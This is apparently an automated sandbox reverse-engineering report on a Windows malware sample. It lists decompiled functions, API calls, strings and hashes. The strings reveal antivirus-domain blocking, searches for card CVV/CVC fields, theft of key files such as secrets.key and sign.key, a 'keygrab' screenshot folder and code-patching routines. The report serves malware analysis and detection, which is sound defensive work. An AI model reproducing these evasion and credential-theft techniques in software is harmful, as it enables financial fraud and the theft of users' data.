                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,eset.com,?,drweb,?,kaspersky,?,avast.com,?,?,02D0604F), ref: 02D05EF7
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,antivir,?,eset.com,?,drweb,?,kaspersky,?,avast.com,?,?,02D0604F), ref: 02D05F03
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,avira,?,antivir,?,eset.com,?,drweb,?,kaspersky,?,avast.com,?,?,02D0604F), ref: 02D05F0F
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,virustotal,?,avira,?,antivir,?,eset.com,?,drweb,?,kaspersky,?,avast.com,?), ref: 02D05F1B
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,virusinfo,?,virustotal,?,avira,?,antivir,?,eset.com,?,drweb,?,kaspersky,?,avast.com), ref: 02D05F27
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,z-oleg.com,?,virusinfo,?,virustotal,?,avira,?,antivir,?,eset.com,?,drweb,?,kaspersky), ref: 02D05F33
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,kltest.org.ru,?,z-oleg.com,?,virusinfo,?,virustotal,?,avira,?,antivir,?,eset.com,?,drweb), ref: 02D05F3F
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,trendsecure,?,kltest.org.ru,?,z-oleg.com,?,virusinfo,?,virustotal,?,avira,?,antivir,?,eset.com), ref: 02D05F4B
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,anti-malware,?,trendsecure,?,kltest.org.ru,?,z-oleg.com,?,virusinfo,?,virustotal,?,avira,?,antivir), ref: 02D05F57
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,.comodo.com,?,anti-malware,?,trendsecure,?,kltest.org.ru,?,z-oleg.com,?,virusinfo,?,virustotal,?,avira), ref: 02D05F63
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .comodo.com$anti-malware$antivir$avast.com$avira$drweb$eset.com$kaspersky$kltest.org.ru$trendsecure$virusinfo$virustotal$z-oleg.com
                                                                                                                                                                                                            • API String ID: 0-3008981035
                                                                                                                                                                                                            • Opcode ID: ccf3ec4319d899d83e65ffb024a275d79469da8cd78528dbd9566d9469de898b
                                                                                                                                                                                                            • Instruction ID: ea5c9607e311229adf9a16cdcad5f6d9c7d495af9b90d3c2625b4c01d246ef30
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ccf3ec4319d899d83e65ffb024a275d79469da8cd78528dbd9566d9469de898b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 53111C52386B26277611316A7C95F5F464CAD61C8A3C90624FC01F53D4EB8DCD074E69
                                                                                                                                                                                                            Function 00402EA0 Relevance: 38.9, APIs: 18, Strings: 4, Instructions: 436commemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CoInitializeEx.OLE32(00000000,00000000,?,?), ref: 00402EB0
                                                                                                                                                                                                            • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00402ED0
                                                                                                                                                                                                            • CoCreateInstance.OLE32(004043E8,00000000,00000001,004041D8,?), ref: 00402EF7
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402F0F
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402F2A
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402F48
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402F66
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00402FEC
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00402FF2
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00402FF8
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00402FFE
                                                                                                                                                                                                            • InterlockedDecrement.KERNEL32(.5@), ref: 0040303D
                                                                                                                                                                                                            • SysAllocString.OLEAUT32(00404F3C), ref: 004031E6
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 0040320B
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00403229
                                                                                                                                                                                                              • Part of subcall function 00402DC0: GetProcessHeap.KERNEL32(00000008,00000010,00000000,?,00403011,00404F28), ref: 00402DC8
                                                                                                                                                                                                              • Part of subcall function 00402DC0: HeapAlloc.KERNEL32(00000000,?,00403011,00404F28), ref: 00402DCF
                                                                                                                                                                                                              • Part of subcall function 00402DC0: SysAllocString.OLEAUT32(00403011), ref: 00402DF0
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 004032D6
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 004032DC
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 004032E2
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Variant$Clear$Init$Alloc$HeapInitializeString$CreateDecrementInstanceInterlockedProcessSecurity
                                                                                                                                                                                                            • String ID: .5@$.5@$cmd.exe$p=)u
                                                                                                                                                                                                            • API String ID: 2839743307-1153045067
                                                                                                                                                                                                            • Opcode ID: 1e3b16be614db6c6fd603cea34a01d53bce829db1e78b23bd4969b6f42b954d4
                                                                                                                                                                                                            • Instruction ID: 7356d6b497d974f43c465eb486c8ab872bac2c341a44699d5e6db9722a73acc6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1e3b16be614db6c6fd603cea34a01d53bce829db1e78b23bd4969b6f42b954d4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 65F1EA75E102199FCB00DFA8C884A9EBBB9FF88710F15816AE914BB391D774AD41CF94
                                                                                                                                                                                                            Function 02D19E50 Relevance: 37.7, APIs: 25, Instructions: 190threadmemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetCurrentThread.KERNEL32 ref: 02D19E76
                                                                                                                                                                                                            • GetThreadPriority.KERNEL32(00000000,?,02D1A160,00000000,00000000,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D19E7D
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02D19E86
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(02D1A160,00000008,00000040,?,?,02D1A160,00000000,00000000,?,?,?,?,?,?,02D1938A,00000000), ref: 02D19EA7
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,00000012,00003000,00000040), ref: 02D19EC6
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(00000000,00000012,00000040,?), ref: 02D19EE2
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000000,00000004), ref: 02D19EF8
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000004,-00000068), ref: 02D19F06
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000005,00000000), ref: 02D19F11
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000001,-0000009C), ref: 02D19F24
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000002,-00000081), ref: 02D19F35
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000003,-00000074), ref: 02D19F44
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000004,-00000024), ref: 02D19F53
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000005,-00000004), ref: 02D19F62
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000006,?), ref: 02D19F6A
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000002,-0000009D), ref: 02D19F7D
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000003,-000000C2), ref: 02D19F8E
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000004,-00000004), ref: 02D19F9D
                                                                                                                                                                                                            • InterlockedExchange.KERNEL32(00000005,00000000), ref: 02D19FA9
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(00000005,00000012,?,00000000), ref: 02D19FB3
                                                                                                                                                                                                            • GetCurrentThread.KERNEL32 ref: 02D19FBB
                                                                                                                                                                                                            • SetThreadPriority.KERNEL32(00000000), ref: 02D19FC2
                                                                                                                                                                                                            • GetCurrentThread.KERNEL32 ref: 02D19FFE
                                                                                                                                                                                                            • SetThreadPriority.KERNEL32(00000000), ref: 02D1A005
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(02D1A160,00000008,00000000,02D1A160), ref: 02D1A01F
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ExchangeInterlocked$Thread$Virtual$Protect$CurrentPriority$AllocCountTick
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2984368831-0
                                                                                                                                                                                                            • Opcode ID: 2a78ebda857b63ee82e51999e9c82b13c676ce9cafe89f9a9ac172b39b733292
                                                                                                                                                                                                            • Instruction ID: fa7e022fe42381e4320f4c3996209f1eb131cc8a8036f1f6aa664fbaa370f2b9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2a78ebda857b63ee82e51999e9c82b13c676ce9cafe89f9a9ac172b39b733292
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5F519179940219EFD710AF74DC05BAE77ACFF49310F118828F986E7280DA78AD51CBA0
                                                                                                                                                                                                            Function 02D1FA20 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 174memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(02D0135E,\java\,?,74E15180,00000000,?,?,02D0135E,?,?), ref: 02D1FA5D
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(02D0135E,\windows\,?,?,02D0135E,?,?), ref: 02D1FA6D
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,02D0135E,000000FF,00000000,00000000,00000000,00000000,?,?,02D0135E,?,?), ref: 02D1FA82
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000013,?,?,02D0135E,?,?), ref: 02D1FA9E
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,02D0135E,?,?), ref: 02D1FAA5
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D1FAB5
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,02D0135E,000000FF,00000000,00000000,00000000,00000000,?,?,02D0135E,?,?), ref: 02D1FAD1
                                                                                                                                                                                                            • GetShortPathNameA.KERNEL32(00000000,00000000,00000104), ref: 02D1FAEA
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(?,?,?,?,02D0135E,?,?), ref: 02D1FB0B
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,02D0135E,?,?), ref: 02D1FB32
                                                                                                                                                                                                            • LockFile.KERNEL32(?,00000000,00000000,00000004,00000000,?,?,02D0135E,?,?), ref: 02D1FB42
                                                                                                                                                                                                            • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,?,02D0135E,?,?), ref: 02D1FB57
                                                                                                                                                                                                            • UnlockFile.KERNEL32(?,00000000,00000000,00000004,00000000,?,?,02D0135E,?,?), ref: 02D1FB67
                                                                                                                                                                                                            • SetFilePointerEx.KERNEL32(?,00000000,00000000,00000000,00000000,?,74E15180,00000000,?,?,02D0135E,?,?), ref: 02D1FBC3
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,?,02D0135E,?,?), ref: 02D1FBDA
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,02D0135E,?,?), ref: 02D1FBDD
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,?,02D0135E,?,?), ref: 02D1FBEE
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,02D0135E,?,?), ref: 02D1FBF1
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileHeap$Process$ByteCharMultiPointerWide$AllocFreeLockNamePathReadShortSizeUnlockValidatememset
                                                                                                                                                                                                            • String ID: \java\$\windows\$iBKS
                                                                                                                                                                                                            • API String ID: 3399125490-2513530025
                                                                                                                                                                                                            • Opcode ID: 8dc5dfd04ba2afc91a8179caf3fe7a03f14fcac7bcd8f1bcc1c26fa5581bb01c
                                                                                                                                                                                                            • Instruction ID: 20b86b433a39ff801512d1569247d3871141b7d01dfc3907ccb7c27031cdc232
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8dc5dfd04ba2afc91a8179caf3fe7a03f14fcac7bcd8f1bcc1c26fa5581bb01c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6451DF76A45321BFE7208F21AC58F6B7BECEF45B64F544919BA44DA780D770DC00CAA1
                                                                                                                                                                                                            Function 02D1DEF0 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 145memorystringthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,&cvv=,00000000,7591F380,00000000,00000001,00000000,?,?,?,02D184F4,?,?,?,?,?), ref: 02D1DF33
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,&cvv=&,?,?,02D184F4,?,?,?,?,?,?), ref: 02D1DF41
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,&cvv2=,?,?,02D184F4,?,?,?,?,?,?), ref: 02D1DF4D
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,&cvv2=&,?,?,02D184F4,?,?,?,?,?,?), ref: 02D1DF5B
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,&cvc=,?,?,02D184F4,?,?,?,?,?,?), ref: 02D1DF67
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,&cvc=&,?,?,02D184F4,?,?,?,?,?,?), ref: 02D1DF79
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D1DF8F
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D1DFA2
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,-00000011,?,?,?,?,?,?,?,?,?,?), ref: 02D1E00B
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 02D1E012
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D1E022
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1E080,00000000,00000000,00000000), ref: 02D1E048
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D1E060
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1E071
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleHeapstrstr$AllocCloseCreateInformationProcessThreadmemset
                                                                                                                                                                                                            • String ID: &cvc=$&cvc=&$&cvv2=$&cvv2=&$&cvv=$&cvv=&$&domain=letitbit.net&
                                                                                                                                                                                                            • API String ID: 1632825432-2817208116
                                                                                                                                                                                                            • Opcode ID: c157dcad99e39a7579b1296ebe2f698a45634465806a299fb8cd77389b7e497c
                                                                                                                                                                                                            • Instruction ID: a2cb84e96554dd7012d9ba3e2c3fab25e92d6ad2c4851c741125752417ed555c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c157dcad99e39a7579b1296ebe2f698a45634465806a299fb8cd77389b7e497c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9D412935A857613BE7220A347CA9FAA27DA8F41789F7C4250EC8097741DF65DE05C3A4
                                                                                                                                                                                                            Function 02D01000 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 155memorythreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,02D0148C,00000000,?), ref: 02D0101B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000013,7591F570,?,02D0148C,00000000,?), ref: 02D0103E
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02D0148C,00000000,?), ref: 02D01045
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D01055
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,7591F570,?,02D0148C,00000000,?), ref: 02D01073
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,name.key,00000000,?,02D0148C,00000000,?), ref: 02D01093
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D20320,00000000,00000000,00000000), ref: 02D010B9
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,\secrets.key,?,02D0148C,00000000,?), ref: 02D010D5
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D21CE0,00000000,00000000,00000000), ref: 02D010E5
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,sign.key,?,02D0148C,00000000,?), ref: 02D010FD
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D227C0,00000000,00000000,00000000), ref: 02D01116
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?,?,02D0148C,00000000,?), ref: 02D0112A
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,02D0148C,00000000,?), ref: 02D0113B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,02D0148C,00000000,?), ref: 02D01150
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,02D0148C,00000000,?), ref: 02D01153
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,02D0148C,00000000,?), ref: 02D0115F
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,02D0148C,00000000,?), ref: 02D01162
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$CreateProcessThread$ByteCharHandleMultiWide$AllocCloseFreeInformationValidatememset
                                                                                                                                                                                                            • String ID: \secrets.key$name.key$sign.key
                                                                                                                                                                                                            • API String ID: 3254303593-2345338882
                                                                                                                                                                                                            • Opcode ID: 5d54ec01fbdece1ca7c0ac0e3fe7eef7514d382807ed336907182a5fbf2706ae
                                                                                                                                                                                                            • Instruction ID: c4fbf396c128e35fc85aa42bc19409a9d3c6437e80802b3d51cbb789779f1a3d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5d54ec01fbdece1ca7c0ac0e3fe7eef7514d382807ed336907182a5fbf2706ae
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 654116355402617B97315A66ACCCFAF3BACDED7FA4B144608FC19A2390DB20CC05C6B2
                                                                                                                                                                                                            Function 02D1B0D9 Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 129sleepsynchronizationfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c590506,00000000,00000001), ref: 02D1B0F6
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(02D5D788,00000000), ref: 02D1B131
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1B137
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1B13F
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(02D5D788), ref: 02D1B14E
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1B155
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02D1B18B
                                                                                                                                                                                                            • CopyFileA.KERNEL32(00000000,02D5D788,00000000), ref: 02D1B1C3
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}), ref: 02D1B1D6
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02D1B1E7
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D1B1EA
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D1B1FC
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateErrorLastMutexPathSleep$AdminBackslashCopyDirectoryFileFolderHandleInformationMakeReleaseSystemUser
                                                                                                                                                                                                            • String ID: 5c590506$Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}$\t
                                                                                                                                                                                                            • API String ID: 2754757069-3741519293
                                                                                                                                                                                                            • Opcode ID: ae802af8782d0162057bc7f63fe4f1b7db1259da741774c346ce591d8d730ccb
                                                                                                                                                                                                            • Instruction ID: 7a9106053b899d4e2d5254b3b9506e876eb39881384844c024c819088aa132a5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ae802af8782d0162057bc7f63fe4f1b7db1259da741774c346ce591d8d730ccb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C6414535A80655BBEB210F34BC6CBAB3BD6AF56749F554506FC86CB780CBA08C44C7A0
                                                                                                                                                                                                            Function 02D12100 Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 104COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D12060: memset.MSVCRT ref: 02D12082
                                                                                                                                                                                                              • Part of subcall function 02D12060: GetParent.USER32(?), ref: 02D1208E
                                                                                                                                                                                                              • Part of subcall function 02D12060: GetWindowTextW.USER32(00000000,?,00000104), ref: 02D120A5
                                                                                                                                                                                                              • Part of subcall function 02D12060: StrStrIW.SHLWAPI(?,00000000,?,?,?,?,00000000), ref: 02D120C6
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02D4FB38,?,?), ref: 02D12136
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?,?,00000000), ref: 02D12164
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,?), ref: 02D12178
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D12189
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1218F
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D12198
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D121A9
                                                                                                                                                                                                            • SetLastError.KERNEL32(?), ref: 02D121B3
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,keygrab), ref: 02D121C5
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D121D0
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D121D6
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D121DE
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D121EF
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D121F6
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02D12203
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D12233
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02D4FB38,?), ref: 02D12253
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$ErrorLast$AdminAppendBackslashCreateCriticalDirectoryFolderMakeSectionSystemUser$EnterLeaveParentTextWindow_snprintfmemset
                                                                                                                                                                                                            • String ID: %02u.bmp$keygrab$\t
                                                                                                                                                                                                            • API String ID: 2122597915-1186222472
                                                                                                                                                                                                            • Opcode ID: 4cab46ea291474d3c5b7fff7e0e30e3e57ea1644120d768fc665045645bebddb
                                                                                                                                                                                                            • Instruction ID: e5a405124c3ae1ac97dae5f3cd241be5ae3989e7ad12586d9485b0b2d917d87f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4cab46ea291474d3c5b7fff7e0e30e3e57ea1644120d768fc665045645bebddb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5D319E79940219ABDB10DFA4FC4CADA77B8AF58304F408994A989C7200DBB1DD94CBA0
                                                                                                                                                                                                            Function 02D04290 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 194memoryprocessCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D042C3
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02D042CE
                                                                                                                                                                                                            • Process32First.KERNEL32 ref: 02D042F1
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D0430D
